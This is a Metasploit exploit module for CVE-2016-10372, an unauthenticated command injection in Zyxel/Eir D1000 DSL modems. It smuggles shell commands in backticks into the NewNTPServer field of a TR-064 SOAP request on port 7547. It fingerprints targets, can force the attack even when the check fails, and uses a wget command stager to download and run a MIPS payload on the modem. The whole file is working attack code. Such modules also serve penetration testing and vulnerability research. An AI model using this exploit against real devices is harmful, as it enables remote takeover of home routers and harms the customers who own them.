##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Zyxel/Eir D1000 DSL Modem NewNTPServer Command Injection Over TR-064',
      'Description' => %q{
        Broadband DSL modems manufactured by Zyxel and distributed by some
        European ISPs are vulnerable to a command injection vulnerability when setting
        the 'NewNTPServer' value using the TR-64 SOAP-based configuration protocol. In
        the tested case, no authentication is required to set this value on affected
        DSL modems.

        This exploit was originally tested on firmware versions up to 2.00(AADU.5)_20150909.
      },
      'Author'      =>
        [
          'Kenzo', # Vulnerability discovery and original Metasploit module
          'Michael Messner <devnull[at]s3cur1ty.de>', # Copypasta from TheMoon msf module, payload help
          'todb',  # Metasploit module
          'wvu' ,  # Metasploit module
          '0x27'   # Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-10372' ],
          [ 'EDB', '40740' ],
          [ 'URL', 'https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/'],
          [ 'URL', 'https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759'],
          [ 'URL', 'https://broadband-forum.org/technical/download/TR-064.pdf']
        ],
      'DisclosureDate' => '2016-11-07',
      'Privileged'     => true,
      'Targets' =>
        [
          [ 'MIPS Big Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSBE
            }
          ],
          [ 'MIPS Little Endian',
            {
              'Platform' => 'linux',
              'Arch'     => ARCH_MIPSLE
            }
          ],

        ],
      'DefaultTarget'    => 0,
      'DefaultOptions' => {'WfsDelay' => 10}
      ))

    register_options(
      [
        Opt::RPORT(7547), # TR-064 CWMP port for SOAP/XML commands
        OptBool::new('FORCE_EXPLOIT', [false, 'Force an attempt even if the check fails', nil])
      ])

  end

  def set_new_ntp_server(cmd)
    template = "<?xml version=\"1.0\"?>"
    template << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
    template << " <SOAP-ENV:Body>"
    template << "  <u:SetNTPServers xmlns:u=\"urn:dslforum-org:service:Time:1\">"
    template << "   <NewNTPServer1>`%s`</NewNTPServer1>" # Backticks, aw yeah
    template << "   <NewNTPServer2></NewNTPServer2>"
    template << "   <NewNTPServer3></NewNTPServer3>"
    template << "   <NewNTPServer4></NewNTPServer4>"
    template << "   <NewNTPServer5></NewNTPServer5>"
    template << "  </u:SetNTPServers>"
    template << " </SOAP-ENV:Body>"
    template << "</SOAP-ENV:Envelope>"

    template % cmd
  end

  def execute_command(cmd, opts)
    uri = '/UD/act?1'
    soapaction = "urn:dslforum-org:service:Time:1#SetNTPServers"
    injected_data = set_new_ntp_server(cmd)
    begin
      res = send_request_cgi({
        'uri'    => uri,
        'ctype' => "text/xml",
        'method' => 'POST',
        'headers' => {
          'SOAPAction' => soapaction,
          },
        'data' => injected_data
      }, 2)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => '/globe'
      })
    rescue ::Rex::ConnectionError
      vprint_error("#{peer} - A connection error has occurred")
      return Exploit::CheckCode::Unknown
    end

    if res and res.code == 404 and res.body =~ /home_wan\.htm/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def inject_staged_data
    execute_cmdstager(flavor: :wget, linemax: 65, delay: 3)
  end

  def exploit
    print_status("#{peer} - Checking...")

    if check == Exploit::CheckCode::Appears
      print_status("#{peer} - Appears vulnerable")
      inject_staged_data
    elsif datastore['FORCE_EXPLOIT']
      print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
      inject_staged_data
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
    end

  end
end
